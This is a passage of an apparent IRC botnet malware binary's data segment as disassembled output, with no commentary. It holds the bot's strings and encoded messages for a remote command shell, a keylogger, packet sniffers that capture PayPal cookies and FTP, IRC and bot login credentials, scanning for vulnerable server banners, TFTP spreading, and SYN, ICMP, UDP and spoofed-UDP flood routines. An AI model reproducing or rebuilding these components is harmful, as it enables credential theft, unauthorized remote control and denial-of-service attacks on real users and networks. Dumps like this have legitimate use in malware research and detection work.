10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_433F58 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o dword_433F9C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_434004 db 2Dh ; - ; DATA XREF: ___:00410493o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_43404C db 2Dh ; - ; DATA XREF: ___:004106E5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_43408C db 2Dh ; - ; DATA XREF: ___:0041061Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_4340D0 db 2Dh ; - ; DATA XREF: ___:004109A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4340FC db 2Dh ; - ; DATA XREF: ___:00410981o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_434128 db 2Dh ; - ; DATA XREF: ___:00410961o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o align 4 unk_434164 db 2Dh ; - ; DATA XREF: ___:004108A0o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 10h unk_434190 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4341BC dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1E+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 unk_434358 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_43438C db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_4343D4 db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4343FC db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_43443C db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_43447C db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 dword_4344BC dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF8+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 10h dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_434E2C dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo align 4 asc_434E5C: ; DATA XREF: ___:00411C3Fo unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 4 dd offset off_435720 dd offset off_43571C dd offset off_435718 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) db 3Ah db 2Eh, 69h, 64h ; DATA XREF: ___:off_43571Co dd 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EB4o align 4 off_435718 dd offset word_505446 ; DATA XREF: ___:00434EB0o off_43571C dd offset byte_435249 ; DATA XREF: ___:00434EACo off_435720 dd offset loc_544F41+1 ; DATA XREF: ___:00434EA8o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_435994 db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359CC db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_435A04 db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A38 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A6C db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435AA0 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h unk_435AD0 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_435B24 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_435D4C dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386B+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 